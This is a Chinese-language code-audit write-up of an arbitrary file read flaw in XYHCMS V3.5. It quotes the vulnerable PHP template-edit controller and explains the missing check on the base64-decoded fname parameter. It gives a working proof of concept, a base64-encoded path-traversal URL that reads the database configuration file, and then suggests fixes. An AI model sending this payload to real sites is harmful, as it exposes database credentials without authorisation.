0x00 环境准备

XYHCMS官网:http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html

测试网站首页:

 

【代码审计】XYHCMS V3.5任意文件读取漏洞分析_App

0x01 代码分析

1、漏洞文件位置:/App/Manage/Controller/TempletsController.class.php  第59-83行:


1. public function edit() {  
2.     $ftype     = I('ftype', 0, 'intval');  
3.     $fname     = I('fname', '', 'trim,htmlspecialchars');  
4.     $file_path = !$ftype ? './Public/Home/' . C('CFG_THEMESTYLE') . '/' : './Public/Mobile/' . C('CFG_MOBILE_THEMESTYLE') . '/';  
5.     if (IS_POST) {  
6.         if (empty($fname)) {  
7.             $this->error('未指定文件名');  
8.         }  
9.         $_ext     = '.' . pathinfo($fname, PATHINFO_EXTENSION);  
10. 10.         $_cfg_ext = C('TMPL_TEMPLATE_SUFFIX');  
11. 11.         if ($_ext != $_cfg_ext) {  
12. 12.             $this->error('文件后缀必须为"' . $_cfg_ext . '"');  
13. 13.         }  
14. 14.   
15. 15.         $content  = I('content', '', '');  
16. 16.         $fname    = ltrim($fname, './');  
17. 17.         $truefile = $file_path . $fname;  
18. 18.         if (false !== file_put_contents($truefile, $content)) {  
19. 19.             $this->success('保存成功', U('index', array('ftype' => $ftype)));  
20. 20.         } else {  
21. 21.             $this->error('保存文件失败,请重试');  
22. 22.         }  
23. 23.   
24. 24.         exit();  
25. 25.     }  
26. 26.


这段函数中对提交的参数进行处理,然后判断是否POST数据上来,如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。我们继续往下看:


1.     $fname = base64_decode($fname);  
2.     if (empty($fname)) {  
3.         $this->error('未指定要编辑的文件');  
4.     }  
5.     $truefile = $file_path . $fname;  
6.   
7.     if (!file_exists($truefile)) {  
8.         $this->error('文件不存在');  
9.     }  
10. 10.     $content = file_get_contents($truefile);  
11. 11.     if ($content === false) {  
12. 12.         $this->error('读取文件失败');  
13. 13.     }  
14. 14.     $content = htmlspecialchars($content);  
15. 15.   
16. 16.     $this->assign('ftype', $ftype);  
17. 17.     $this->assign('fname', $fname);  
18. 18.     $this->assign('content', $content);  
19. 19.     $this->assign('type', '修改模板');  
20. 20.     $this->display();


我们可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。

注意看红色部分代码,问题就出在这里。对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。我们可以通过GET方式提交fname参数,并且将fname进行base64编码,构造成完整的路径,读取配置文件信息。

0x02 漏洞利用

1、登录网站后台,数据库配置文件路径:\\App\\Common\\Conf\\db.php

我们将这段组成相对路径,..\\..\\..\\App\\Common\\Conf\\db.php,然后进行base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

最后构造的链接形式如下:

http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

通过url访问,成功获取到数据库敏感信息:

 

【代码审计】XYHCMS V3.5任意文件读取漏洞分析_php_02

0x03 修复建议

1、取消base64解码,过滤.(点)等可能的恶意字符

2、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。

 

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】XYHCMS V3.5任意文件读取漏洞分析_html_03